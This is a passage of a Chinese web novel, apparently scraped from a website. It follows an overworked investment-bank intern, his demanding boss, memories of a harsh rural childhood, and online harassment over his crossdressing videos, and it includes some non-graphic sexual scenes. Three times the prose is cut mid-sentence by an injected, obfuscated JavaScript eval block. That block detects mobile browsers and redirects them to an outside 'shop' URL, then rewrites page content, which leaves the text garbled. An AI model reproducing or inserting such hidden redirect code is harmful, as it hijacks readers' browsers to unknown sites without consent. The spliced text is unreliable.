除了合成智能的项目外,他还有助理的日常工作要完成,寒深和Asher也会派工作给他。 工作量大,工作内容也很难,季然咖啡越喝越多,却依旧抵挡不住汹涌袭来的困意。更难受的是他白天明明困得不行,但晚上躺上床却会失眠,莫名其妙开始心跳加速。 生活在不知不觉中失了控,季然毫无办法,他开始频繁试穿女装。 jk制服、美式甜心、女仆装、改良旗袍…… 认真制作的作品点赞能破万,他自己都觉得一般的,数据就只有几千赞。 好在网友们都很好很可爱,季然靠着网友们的支持,渐渐习惯了高强度的工作节奏,就这样又过了一周,季然被寒深叫进了办公室。 最近寒深都在出差,季然已经好几天没见过他了。季然站在办公桌面前,有些拘谨地问:“老板,您找我什么事?” 寒深从工作中抬头:“最近工作怎么样?” “还行。”拿不准对方的态度,季然选择了一个安全的答案。 寒深又说:“那从这周开始,你加入股权融资部周会,每周写一篇行研报告做分享。” 行业研究,做一级市场和二级市场的必备技能。金融说白了就是中介,投行主要任务是连接投资者和市场,更是中介中的中介。 只有足够了解一个行业,才能给投资者提供合理、准确的投资建议。如果你自己都对这个行业云里雾里,又如何能让投资者信服? 这本来是一个很正当的要求,但时间来得太不凑巧了。 季然现在的工作太多了,午休彻底没有,吃饭时间压缩到半小时,还有毕业论文要写。 但凡换个时间,他都很愿意接受这个任务。 但现在这么多事情一起压下来,季然只觉得心口发闷,几乎快要喘不上气。 “有问题?”寒深在问他。 不想做。 我太忙了,没时间做研究。 明明很难受,很想拒绝,季然却一个字也说不出来。 他沉默了好几秒,最终却只是垂下眼眸,说:“……没有。” 行研分析会在周一,季然天天加班,在周日晚上才把行研报告赶了出来。 他太忙了,心里又带着怨气,只想应付交差了事。反正这个行业就是这样,什么都被人写过了,实习生写出来的行研就像是本科生论文创新点,约等于零。 却没想到寒深竟然出现在了会议现场。 寒深很少参加股权融资部的周会,他工作太忙了,大部分时间都在外承揽业务、发展人脉,留在公司的世间并不多。 但没想到这次竟然这么巧,偏偏在他做报告时过来了。 季然已经开始后悔自己的糊弄了。 他迅速在脑海里过了遍报告,确实很水,毫无新意,也没有任何个人见解。VP肯定不会说什么,反正实习生都是这个水平。但寒深就不一样了,这人恨不得天天盯着他,拿着放大镜在他身上找缺点。 每个人只有十分钟分享时间,上一位已经下台,再过2个人就会轮到他。 在摆烂被骂和垂死挣扎中,季然屈辱地选择了后者。他打开电脑,迅速修改起了自己的报告。 好在他这次选题是游戏行业,他自己玩游戏,也经常关注游戏大厂动态,对行业发展有一些自己的见解。季然删去那些过时的数据、无用的套话,紧急在末尾加了一节行业展望与预测。 刚写完最后一句话,上一位同事分享结束,轮到他上前了。 季然呼吸停了一瞬,他深吸一口气走上台,分享起了自己的行业研究。 “大家好,我是总办实习生季然,今天我想向大家分享游戏行业相关现状……” 他声音有些紧绷,肢体语言也处于收缩状态,但分享的内容却很扎实,而且因为适度的紧张,反而带着一股别样的严谨,让人不由自主地想要信服。 “投资建议:随着游戏硬件的不断迭代,以及软件技术的持续发展,以及人们对进一步提高,我总体看好游戏产业的发展前景。但是在短期内,游戏行业也会随着政策原因、外部不确定因素例如虚拟引擎收费政策,出现小幅震荡。” “风险提示:收入集中头部企业;游戏之间出现知识产权侵权现象;网络舆情影响游戏口碑;用户群趋于饱和带来边际递减效应等。” “我的分享就到这里,谢谢大家。” 让季然意外的是,VP们对于他这次的报告评价并不差,甚至颇有赞赏之意。 寒深一直没有说话,他并不参与报告的评判,至少在前面几位同事报告时是这样的。 最后一位VP点评结束,也是比较正面的评价,季然终于放下心来,隐隐松了口气。 他向台下鞠了一躬,准备离开。 “报告你自己写的?”一道冷淡的声音响起,却是沉默的寒深开了口。 寒深这是什么意思?怀疑他抄袭吗? 季然感觉受到了侮辱,语气不太好:“是的,请问您有什么问题吗?” 寒深:“解释一下这个数据。” 很简单的一个数据,不知道哪里值得这么深挖,季然忍着脾气又解释了一遍。 寒深没说话,过了几秒才问VP:“你们觉得有问题吗?” 数位VP面面相觑,都说不出个所以然来。 寒深又问季然:“你觉得有问题吗?” 季然:“我不知道问题在哪里。” 会议室陷入了短暂的沉默中,直到寒深再次开口。 “Julian,你不该出现这么低级的错误,”寒深看向季然,语气平静道,“这是企业在公布数据时提供的不真实统计,稍微一分析就能看出数据的不正常。” 寒深的语气没有多少责备,却让季然脸颊轰地一下烧了起来。 不真实的统计资料?怎么可能? “对不起,我……”他无措地张嘴,似乎想要解释些什么。 有手快的同事查出资料,发现真的存在失误。 寒深收回目光,转而对众人说:“做行研离不开外部数据,但我不希望你们把这些数据当成权威,而是要有自己的判断和思考。” 直到会议结束,季然脑子里都乱糟糟的,一遍遍回放着之前的情景。 他学习一向优秀,已经很久没有经历过这样的难堪了。偏偏寒深又让他去办公室。 季然心情忐忑地跟了过去,他以为自己要被狠狠批评,却不料寒深竟问他:“你玩游戏吗?” 季然愣了愣,如实回答:“工作不忙时会玩。” 寒深:“玩过什么游戏?” 季然摸不清他的想法,随口报了几个大众游戏。 寒深沉默了一会儿,说:“你以游戏《共生》为例,就游戏当前现状为基础,做一个今后发展方向的分析。” 《共生》游戏的发展方向分析?季然有些茫然地抬头。 寒深:“你不想做?” “没,”季然摇头,声音闷闷地说,“我犯了错,甘愿接受惩罚。” 寒深挑眉:“你觉得这是惩罚?” 季然不吭声。 打工人的时间非常宝贵,这事和工作又没有关系,不是惩罚是什么? 寒深看了他一眼,语气如常道:“你愿意把它当做惩罚也行,东西这周内给我。” 季然无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732687|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话可说,毕竟他确实犯了错。 不过他到不是特别排斥,季然是这款游戏的老玩家,对游戏还是挺有感情。 唯一让他苦恼的是,接下来他变得更忙了。目前季然手中已经有3个项目同时进行,还不算这周的行研和游戏分析,更麻烦的是他这周还有一次出差,因为合成智能企业方给的材料出了问题,需要现场求证,季然就成了那个跑腿的倒霉蛋。 沪市到京市飞机2小时,高铁4个半小时,季然犹豫了很久,但最终还是买了机票,希望能节省一点时间。 却没想到从京市返程时突发大雨,当天航班取消了一大半,季然所在的航班也被改签到明天早上。 季然连忙改买高铁,点进去时还有十几张票,等他付款时就什么都没了。 季然被迫滞留机场。 回学校来回3个小时,6点的航班只能打车,还不一定能报销。 住机场酒店又太贵,季然放下书包,决定留在机场过夜。 前半夜季然几乎都在工作,他把更新的资料发给项目小组,后半夜实在熬不住,季然合上电脑准备休息。 入站口没有座椅,季然只得坐在空地上,地面又冰又冷,明晃晃的灯打在脸上,亮得让人有些恶心。 地板冰冷坚硬,周围行人匆匆,季然伸手抱住膝盖,突然生出了一股难言的委屈。 为什么当初不买高铁票?为什么连一晚酒店都舍不得住? 季然试图说服自己接受现状,可他真的太难受了,地板硬邦邦的,身体也没地方靠,他迷迷糊糊睡到半夜2点,实在撑不下去,去旁边的咖啡厅买了个便宜的套餐。 吃完东西,季然脑袋趴在硬邦邦的桌面上,很快就失去了意识。 第二天早上6点,季然兑换机票顺利登记。 航班没有延误,因为顺风,甚至还提前了半个小时抵达。 本来该去公司的,但在打车报地名时,季然却说出了自己小区的名字。 他在楼下吃了个早饭,然后去快递柜取走已经超时的快递,还回家给自己洗了个热水澡。 工作群里响起了消息,还有人在群里艾特他,季然却当做没看到,他穿上女装开始奖励自己。 季然不是个需求强烈的人,但成为寒深下属后,却经常通过这种方式排解压力。 做完后他容易自暴自弃,可没过多久,又会再次陷入这种恶行循环里。 就比如现在,理智告诉他应该去公司了,他人却躺在出租屋,放纵堕落的自己。 寒深最近都没出差,应该知道他迟到了吧? 如果知道他在做这种事情,也不知道他那位冷酷精英上司,会露出什么表情。 他知道自己的想法很变态,却完全无法停止下来。 寒深这么忙,有时间进行性生活吗? 他会不会□□时也冷着张脸,告诉对方必须十分钟内结束? 季然被自己的想法逗笑,然后他从镜子里看见了当下的自己。 狭窄的出租屋里躺着个穿裙子的年轻男人,廉价、漂亮,又堕落。 季然突然停止了动作,仿佛遭遇当头棒喝。 他怎么变成这样了? 季然出生自偏远乡村,童年孤独而苦闷。幼时的他曾一度告诉自己,等上了中学就好了。 却不料中学又面临着庞大的升学压力,季然成绩好但并不是天才,能考上京大全靠没日没夜的努力。 于是老师又告诉他们,等上了大学就好了。 可季然的大学似乎也没有多精彩,只有没完没了的打工,拼了命的挣绩点,拿奖学金…… 季然又安慰自己,等毕业工作就好了。 他确实进入了人人都羡慕的大公司,可却只是一颗螺丝钉,重复地做一些对他来说毫无意义的工作,每天浑浑噩噩,不知前路在何方。 笑容从他脸上消失,然后是自责,嫌弃,厌恶……数不清的负面情绪尽数上涌。 手心里传来一阵黏腻的潮湿,季然弓起身体,忍不住小声啜泣起来。 8. 第 8 章 季然没有低沉太久,就清理身体去了公司。 大家一如既往地忙碌,没人发现他这个小叛逆。季然把游戏分析发给寒深,暂时没有得到回复。 中午时,行政在公司大群发消息称,圣诞节公司会报销500元,让大家准备交换礼物。 季然连生日都不怎么过,更别提圣诞节了,但准备礼物这件事还是留在了他心里。预算500送学生足够,但对于职场人来说还是有些捉襟见肘。再加上同事们品味都很好,季然不想显得太不用心。 他仔细做了遍功课,最后选择了一款中性香水。 投行人都比较注重外表,哪怕是季然这样住出租屋挤地铁的穷光蛋,也天天西装革履,看起来一副精英模样。 香水大部分同事都会用,就算不喜欢这个味道,也可以插个扩香棒放在厕所当空气清醒剂。 圣诞节当天下午2点,行政通知大家去大厅交换礼物。季然带上香水,陆可从他旁边路过,手里抱着一个最新款iPad Pro,说是寒深的交换礼物。 季然隐隐有些羡慕,他的二手电脑服役三年已经卡得快要影响工作,要是他能抽中那台iPad就好了。 但也只敢想想而已,公司几百号人,他不可能这么幸运。 礼物交换环节很快开始,期间寒深短暂露了一面,只抽了号码,连礼物都没来得及兑换,就因为工作离开了。 季然抽到了一台大疆的手机手持稳定器,包装盒里有一张手写卡片:“一台手持稳定器,可以在拍摄视频时增强画面稳定性,希望对你有用。——Leo” 季然自己拍视频,偶尔也会拍小区楼下的猫猫,虽然没抽中iPad,但这个礼物对他来说也很实用。 他过去向Leo道谢,后者顺势邀请他去参加今晚的圣诞Party。 季然在本地没有朋友,犹豫了一会儿,有些激动地答应了。 季然也隐隐有些好奇,不知道是谁抽中了寒深的平板电脑。季然刷新朋友圈,很快就得到了答案。幸运儿是他同期管培生Lucas。他是寒深迷弟,在朋友圈里拍了九宫格开箱图,喜悦之情言溢于表。 果然幸运都是别人的,季然打开半残的电脑继续工作。没过多久,屏幕右下弹出了Leo的消息。 [Leo]:刚才忘了问你,你工作还剩下多少?如果做不完我可以帮你。 [Julian]:聚会几点开始? [Leo]:没固定时间,就在我家里,下班后就去呗。 季然心中隐隐有些激动,他长这么大了,还没去过朋友家做客。 家人管他管得很严,从小就不允许他到处乱跑。 季然高中时在市里念书,他是住校生,需要上两周课才会放假回家。 季然记得很清楚,有一周他放学后没有立刻回家,而是和几个同学们一起去了公园。公园里有不少流浪猫,平时走读的学生会去喂养。 冬天快来了,一只三花生了小猫,担心猫咪一家熬不过冬天,热心的同学决定给流浪猫做个猫窝。 季然也在其中。 过程有些艰难,几个高中生手忙脚乱,但最终还是完成了工作。 当季然亲手捧起一只小奶猫放进猫窝时,他心中产生了一股不可思议的柔软触感。怎么会有这么可爱的生物啊,又软又可爱,还这么亲人。 见他实在喜欢,同学笑着怂恿:“学霸,你养猫嘛?既然这么喜欢,不如带回去养。” 季然一时没有回答。 其实他家里也养过猫,乡下老鼠多,大多数人家都会养猫抓耗子。 季然家里的是一只叫小虎的狸花猫,头上长着王字纹,平时懒洋洋的,抓老鼠却很机敏,是家里保卫粮食的大功臣。 家人只是把猫当畜生,但季然却偷偷把它当朋友,睡觉时也要抱着它。 在季然9岁那年,村里的小学合并到了镇上,季然不得不去镇上上学校。 同年时间季然弟弟出生,一直照顾季然的外婆去外地带孩子,家里的田地不能荒废,给了一个远房叔叔耕种。季然留在家中和外公、叔叔一起生活。 叔叔没有孩子,很喜欢小孩儿,对季然并不算坏。但他脾气很差,总和外公吵架,季然渐渐变得不喜欢这个家。 好在家里还有小虎。 每周末放学回来,季然最期待的就是和小虎一起玩。 他精打细算地节约生活费,把剩下的钱给小虎买火腿肠,带回来偷偷喂它。 又一次周末放学,季然照常拿着火腿肠想要喂小虎,却发现怎么也找不到猫。 询问叔叔后才得知,原来小虎被送给一位亲戚,治病吃了。 季然睁大双眼,整个人都呆住了。 第二天,叔叔抱了一只新的小猫回来,一边指着小虎的猫碗一边对新猫说:“看到这个了吗?小虎老了不中用了,所以被人吃掉了。你可要好好抓老鼠,这样才有饭吃。” 说完,叔叔在猫碗里倒了些剩菜剩饭,小猫饿极了,很快就狼吞虎咽地吃了起来。 季然一脸呆滞地看着这一幕,仿佛被一只大手扼住了喉咙。 “你不是喜欢猫吗?”叔叔抓着猫笑着问他,“怎么不和猫玩了?” 季然满脸惊恐地跑走,不敢再靠近小猫一步。 他打电话给爸爸妈妈,颤抖着声音说:“妈妈,我不想在家,我想去你们那边,可以吗?” “你过来干什么?”女人的声音严厉起来,“我们在外面也很辛苦,又不是过来玩的。” 季然咬紧下唇,强忍着哭泣说:“那你们能回来吗?” 妈妈:“可我们回来就赚不到钱,没有钱怎么供你上学?” 季然:“我可以不上学。” “说什么傻话呢?是不是在外面学坏了?”女人声音严厉起来。 季然默不作声,一张小脸憋得通红。 “你不学习还能做什么?”女人开始严厉的训斥他,“我们不在家也管不到你,你要听老师的话好好学习,不许贪玩儿听到没有?” 季然咬住下唇,委屈又倔强:“可弟弟和你们在一起。” “什么?”对方似乎没有反应过来。 季然:“为什么弟弟可以我就不行?” “你和弟弟又不一样,要不是没办法,我们也不想把他带在身边,你外婆过来已经花了好多钱。” “可我……”季然还想继续说下去,可刚一张口,眼泪就不受控制地掉了下来。 听见孩子的哭声,女人终于放软语气,缓缓道:“然然乖,记得好好学习考双百,妈妈过年回家给你买新衣服。” 季然没再提想要过去的事情,他依旧会偷偷给小猫喂火腿肠,但不会再和对方玩,也不敢再让猫上他的床了。 再后来小猫长成了大猫,在最炎热的七八月份,不知得了什么病死掉了。叔叔嫌麻烦,把死猫挂在了河边的一棵树上,不再养猫。 做流浪猫还有好心人喂养,跟着他回家,只能饱一顿饿一顿然后像个畜生一样死掉。 季然摇头,平静道:“对不起,我家人也不让我养猫。” “太可惜了,”女生叹了口气,低下头对猫猫说,“我发了领养信息,希望有人回复。在此之前,你们就在这里好好生活吧。” 说完,她蹲下身摸了摸猫咪脑袋。 季然静静地看着这一幕,心情和头顶的天空一样沉郁。 “喵~” 他脚下却突然一软,被他喂过的小奶猫追了过来。季然僵硬了两秒,头也不回地走了。 这只是季然回家前的一件小插曲,安顿好流浪猫后,他便去客运站买了大巴票回家。 可他万万没有想到,他在市里逗留的事情被同村人看见,对方回去后又告诉了他家人。 或许只是没有恶意的随口一提,乡下基本藏不住事儿,谁谁谁干了什么,都会以各种途径传出去。 当天晚上,季然接到了妈妈的电话,对方事无巨细地询问他各种细节,可见对他这次私自行动很不满。 “以后放学了就回家,别一个人在外面乱逛,知道吗?” “出去玩还要花钱,而且城里特别乱,路上车多又危险,听说还有人贩子。” “妈妈也是担心你,我们在外面赚钱不容易,你在家要乖,知道吗?” “对不起,”季然低下头,“我以后不会了。” 自那以后,季然每天循规蹈矩,再也没有任何出格的举动。 季然考上大学那年,他父母终于返乡,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732688|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年积蓄在县城买了房,精心装修后,一家人终于实现了团聚。季然独自在外地上大学,只有寒暑假会回家小住,仿佛这个家庭里的外来者。 这些年来他被严厉看管,没有发展出什么深刻的友谊,季然很羡慕那种从小一起长大,能去彼此家里串门留宿的朋友关系。 而这一次,他终于也收到了邀请。 季然低头打字,忍不住雀跃起来:谢谢你,我工作没剩下多少了,不出意外应该能赶上。 然后意外就来了。 距离正式下班还有半个小时时,寒深突然丢给季然一份文件,让他今天下班前交给他。 工作不算困难,但很耗时间,就算季然马不停蹄地忙,也至少要4、5个小时。 迟到五个小时,等他过去聚会早结束了。 季然鼓起勇气问:必须现在做吗?可我还有其他工作要处理。 寒深:其他的可以稍晚,先做这个。 季然:…… 寒深:很急,辛苦了,完成这个你周末可以休息。 领导话都说到这种程度,季然还能说什么? 他给Leo发消息:对不起啊,刚才突然接到了一个急活儿,今晚可能去不了了…… Leo:有多少啊?你分一半给我呗,我们早点结束。 季然不好意思让Leo帮他,Leo在管培生中很受欢迎,要是因为他耽误Leo和大家聚会,他真要自责死了。 季然拒绝了他,Leo发了个哭泣小人儿表情包过来,遗憾地表示只能下次再聚。 季然回了个好,却不觉得对方下次还会邀请他。 夜已深,同事们陆续离开过节,办公室里只剩下季然敲键盘的声音。 晚上10点左右,季然刷新朋友圈,竟看见寒深更新了一条动态。 照片是他和一位时髦女士的合照,配文:Merry Christmas。 寒深极少发朋友圈,此条动态一出,很快就有几十个共同好友点赞。 季然却突然生起气来,他辛辛苦苦地在公司工作,寒深却有空在外面约会吃圣诞大餐! 季然没给寒深朋友圈点赞,他化身成为一台无情的工作机器,完成工作后没等寒深回复,就径直打车回了家。 半个小时过去,季然人都到家了,依旧没有等来上司的回复。 季然不可抑制地烦躁起来,既然不急为什么非要自己今晚就把东西给他?就真的这么看不惯他吗? 季然越想越生气,干脆穿上圣诞裙子开始擦边。 刚开了个头,手机突然“嗡”的一声响,寒深回了他的消息。他给正文做出一项项标注,指出了许多要修改的地方。 季然看见了,但没有回他,反而放下手机开始奖励自己。 3分钟后,寒深问他:Julian,你还在吗? 季然还是没有回复。 他觉得自己真的越来越牛逼了,领导一直在催他做东西,他却在做一堆狗屁事情奖励自己。 不知是不是最近奖励频率太高,今天迟迟都无法进入状态。 季然找了个男喘当背景音,好不容易终于有了感觉,却不料手机一震,寒深的电话进来了! 此时季然裙子正卡在膝盖上,右手隐匿在□□,目瞪口呆地看着屏幕上的来电。 手机就放在他腿边,季然不接,手机震得越来越凶,像是寒深凶巴巴的大手。 【嗡——嗡——嗡——】 在一声又一声的催促中,季然接通电话,死死咬住了嘴唇。 “Julian,”寒深的声音在他耳边响起,“有收到我的消息吗?” 寒深普通话非常标准,嗓音低沉而磁性,比手机里的男喘更好听。 季然心跳猛地急促起来,仿佛被烫到一般,连忙丢开手机。 “Julian,你还好吗?” “发生什么了?回答我!” 比平时都要严肃的语气,甚至带上了几分强制命令。 季然本想挂断,却不小心在慌乱中开了免提,寒深的气息声一瞬变得非常明显,就仿佛在他耳边说话。 季然大脑霎时一片空白,在灭顶的冲击中,他死死捂住嘴巴,用尽最后一丝意志力挂断了电话。 9. 第 9 章 简陋的出租屋,季然躺在单人床上,经历漫长的沉默后终于回过神来。 然后就是后怕。 我靠,他疯了吗?他怎么敢对上司做这种事? 还好他及时挂了电话,他应该没有发出声音吧? 季然很想原地装死,可他还有工作要处理。 啊啊啊啊!!!可是为什么会变成这样啊!!! 季然短暂的崩溃了几秒,硬着头皮回拨电话。 电话接通,他找了个不太高明的借口:“对不起我刚才手机掉了,不小心挂断了电话。” 那边足足静了好几秒,这才再次开口:“那你现在方便说话了吗?” 季然有些心虚,点头说:“方便的。” 于是他们继续谈起了工作。 季然心虚又内疚,全程听得无比认真。直到肚子被风吹得凉嗖嗖,他这才想起来自己身上还一片狼藉。 耳边是寒深沉稳的声音,人家一本正经地和他谈工作,他却穿成这样…… 季然脸颊红了红,他低头用纸巾清洁身体,被寒深提问,还要一本正经地回复:“好的,我明白了,我修改完立刻发您。” 谈完工作,他等着寒深先挂电话,可是那边一直没有动作。 房间彻底安静了下来,季然耳边只有老式空调的嗡嗡声,还有不知从哪儿传来的圣诞音乐。 就在他准备挂断电话时,寒深的声音在他耳边响起。 “Julian,”寒深说,“Merry Christmas。” 季然一怔,心脏莫名被烫了一下。他低头握着手机,小声答道:“您也是,祝您圣诞节快乐。” 第二天,@上班哪有不疯账号发了一个圣诞节主题视频。 视频里,男生穿着露腰红白圣诞裙,脖子上戴着一个金色铃铛,头顶还有一个可爱的发箍。 他脸上戴着可爱的麋鹿口罩,双手双脚被红丝带捆绑,像是一个待人拆开的礼物。 季然蹭了个节日热度,视频一经发布迅速收获众多点赞,评论也很多。 [啊啊啊啊!!我点的捆绑play!感动死了] [多谢款待,我大吃特吃!!!] [靠,这个腰,这个腿,我幻肢硬了,快长出来啊可恶!] [博主是不是瘦了啊,工作太忙了吗?腰好细,肚皮只有薄薄一层。] [嘶……虽然知道你在关心他,但是这种肚皮真的很涩。] [你懂我!!小腹那么薄,轻轻一戳就能凸起来吧,斯哈斯哈] [太香了太香了就是更新频率太低了,还有没有类似的赛博男菩萨推荐啊!] [那必须是我们的虎鲸老师!!入坑必看的男人!] [报,虎鲸老师也发了圣诞视频!!] [去看了,太香了,如果他们一起up我……] [靠靠靠,不敢想象两份饭能有多好吃!] 这条视频播放量很高,但季然之前视频粘性都不错,他以为这次也只是普通热度,却不知在他退出软件后,这条视频以一种前所未有的速度指数级地蹿红起来。 季然对此一无所知,他整个周末都在写论文,再次打开社交软件已经是周一中午。 不太忙的时候,季然饭后会刷一会儿社交软件当做休息。他今天下午要跟着老板外出开会,正在等待寒深叫他出发。 季然像往常一样打开app,惊讶地发现圣诞节视频热度空前,点赞已经超过十万,收藏和评论都非常多。 他从来没有过这么高的数据,季然开心地点开评论区,却迅速消失了笑容。 因为等着他的不是夸奖和赞美,而是数不清的嘲讽和谩骂。 [博主你装什么死?之前回评论这么勤,被大家指出你吸血就装死了?] [不要脸,看虎鲸大大低调不会和你这种小博主计较,就追着人家吸血!] [看完了博主的全部视频,只能说太骚了,这么骚等着男的up啊?] [卖钩子的吧?福利鸭?] [这种货色还想和虎鲸组cp?可拉倒吧,真以为虎鲸给你点个赞就看上你了?] …… 什么玩意儿?季然有些懵。 他被网曝了?可是为什么? 很快,季然在评论区里找到了答案,罪魁祸首就是这个叫虎鲸的家伙。 因为虎鲸也发了一个圣诞节视频——主题是拆礼物。 宽敞豪华的公寓大门被打开,虎鲸穿着精致的西装三件套,抱着一个圣诞礼盒走了进来,然后开始拆礼物。 因为没有露脸,视频镜头刚好卡在他胸膛部位,他穿得很严实,但身材太好了,几乎能让人想象出他西装下的胸肌有多饱满。 而且他手也很好看,关节泛粉,手背带着青筋,拆丝带时手指又长又灵活,钓得无数网友嗷嗷叫。 季然和虎鲸本来毫无关联,但因为都拍了圣诞节礼物主题,有网友把他们视频剪到一起,开始嗑CP。视频氛围感超强,又有圣诞节日热度加成,直接出了圈。 起初大家都只是嗑CP,粉丝圈地自萌,和两位博主没什么关系。 直到虎鲸一个大粉看见视频,截图挂了季然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732689|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>@小企鹅:弟弟,大家都是虎鲸粉丝,你这样蹭热度就有些过分了啊! 小企鹅是富二代小网红,虎鲸的死忠粉,曾多次打卡虎鲸出没过的场所,明里暗里都在对虎鲸示爱,可惜从未得到过回应。 但这也不妨碍有些网友嗑他们。 因为小企鹅本人长得不差,而且出没的都是国外高定秀场、各大奢侈品专柜,也经常在主页抽奖,逐渐积累起了不少粉丝,不少人把他封为虎鲸大房,他自己似乎也为此沾沾自喜。 虎鲸这个账号有不少梦男梦女,虎鲸只管发视频,从来不管这些舆论,他粉丝之间经常闹得腥风血雨。 小企鹅就是其中的战斗机,凭借一己之力,强行狙击了众多虎鲸梦男梦女。 @上班哪有不疯的很倒霉地成了他下一个攻击目标,本来只是双方粉丝行为,但小企鹅在在自己主页挂了季然,就直接把季然也定了性——又是一个妄图倒贴虎鲸的家伙。 企鹅粉怎么能让自己宝宝受这个委屈? 小企鹅这么漂亮优秀又有钱,只有这样优秀的人才配得上虎鲸大大好吗?怎么能让虎鲸被这个低等打工人抢走了? 粉丝们集结上线,直接冲了季然评论区。 他们开始深扒季然,说他蹭虎鲸热度,吸虎鲸的血,并一一列举了数项证据: 【跟风视频】 虎鲸拍的是圣诞节拆礼物——他在拆礼物。 上班哪有不疯的跟风拍圣诞节拆礼物——他自己是礼物,等人来拆。 【抄袭设定】 虎鲸发职场穿搭。 上班哪有不疯抄袭他出工作穿搭。 【蹭人设】 虎鲸是全网知名的赛博Daddy。 上班哪有不疯的走贫穷小白花路线,还纵容粉丝剪视频嗑CP,这不是摆明了要当人当他的Sugger Daddy? 也有粉丝帮季然开口解释,可对方人数太多,季然粉丝很快就被骂得抬不起头,舆论进一步发酵。 到现在已经发展成季然做账号就是为了勾引虎鲸,这是一场针对虎鲸的诱惑,不然怎么第一个视频就吸引虎鲸点来赞?虎鲸都不点赞别人的,怎么就只点赞了你的视频?这不是蓄谋勾引是什么? 上班哪有不疯的:啊?可是我早就拉黑他了啊 黑子:?什么??你拉黑了虎鲸???[发出尖锐爆鸣] 上班哪有不疯的:早拉黑了。[截图] 黑子:可是为什么??? 上班哪有不疯的:因为我讨厌别人在我面前炫富。 黑子:……………… 10. 第 10 章 这件事大大出乎了黑子们的预料,几乎所有人都反应不过来,怎么会有人不喜欢虎鲸呢? 可上班哪有不疯的确实早就拉黑了虎鲸,难道小企鹅说他蹭热度,其实是因为自己嫉妒? 小企鹅虽然有不少粉丝,但也有许多虎鲸粉丝不满他的倒贴,甚至自称虎鲸老婆粉,这次找到由头双方直接吵了起来,反而把季然这个账号遗漏了。 季然一般不参与吃瓜,但这个瓜几乎是喂到了他嘴边,他也没有那么清高,自然喜滋滋地吃了起来。 吃得正起劲时,Luke让他准备一下和寒深出门开会。季然只得遗憾收起手机,背着书包跟了上去。 等电梯时,季然闻到一股陌生好闻的味道,有些好奇地抬起了头。 寒深换香水了? 柑橘和木头的味道,在冬天里闻起来很温暖,不太像寒深平常的风格。 “有事?”寒深垂眸看他,眼神一如既往地冷漠。 季然:“今天会议需要我做什么?” “不用,”寒深说,“你听着就行。” 季然:“……” 既然不需要他做什么,又为什么叫他去?难道在领导眼里,他们打工人的时间就只是不值钱的低贱玩意儿吗? 季然心有埋怨,但也不敢拒绝,跟着寒深上了车。大约半个小时后,轿车停在了市财政部政府大楼前。 寒深参加的是一个政府内部的闭门会议,很低调,但规格很高,能上桌的都是银保监高官、□□智囊、和一些著名经济学家。 这种会议寒深都要坐末席,季然自然上不了桌,他和官员秘书、受邀官媒坐在后排,根本不敢摸鱼。 好不容易终于熬到会议结束,季然迫不及待地掏出手机继续吃瓜。 刚打开APP,耳边突然传来一道低沉的声音:“怎么给我打电话了?遇到什么麻烦了吗?” 是寒深在讲电话,季然从没听过他这么温柔的语气。 “你别着急,深呼吸,冷静下来,我一直在。” “你说,我在听。” 这明显是一个私人电话,季然竭力不让自己窥探老板隐私,可还是无法自制地好奇起来。 寒深在和谁说话?能让他态度这么好,一定是他很重要的人吧?对方遇到困难了吗? 不知道那边说了什么,寒深表情逐渐凝重起来。 “我知道了,这件事交给我处理。别紧张,我向你保证,他不会有事。” 寒深说完就挂断了电话,季然好奇但不敢开口,寒深也没有要解释的意思,车厢再次陷入安静中。 不知怎么的,季然莫名有些尴尬,渴望找点事情分散注意力。他胡乱地划着手机,发现有许多网友都在留言让他把虎鲸从黑名单里放出来,说他错过了重要的消息。 季然把虎鲸账号放出黑名单,发现对方在几分钟前发了一条消息。 【@虎鲸:@上班哪有不疯的,博主你好,我刚收到消息,有部分网友打着我粉丝的名义对你进行攻击。此事非我本意,很抱歉给你带来了困扰。我在此慎重向你道歉,并愿意提供一定赔偿,如有意请私信与我联系。】 季然愣了愣,他没想到虎鲸竟然会道歉,真要说起来,这件事和他根本没有关系。 而且他说还会提供赔偿…… 季然也不是不讲理的人,他在评论区留言:我接受你的道歉,但除此以外,我要求@小企鹅以及网暴我的账号向我公开道歉,承诺今后不再网暴我,并且所有道歉置顶三个月。否则我就起诉他们。 @虎鲸:向你道歉是应该的,但很抱歉,我不是他们的第一责任人,无权要求他们向你道歉。但我可以通过法律途径支援你。 季然:“……” 他一时间竟分不清虎鲸是在钓鱼,还是真正想支援他。 季然需要的就是道歉而已,压根儿没打算就真正起诉他们。 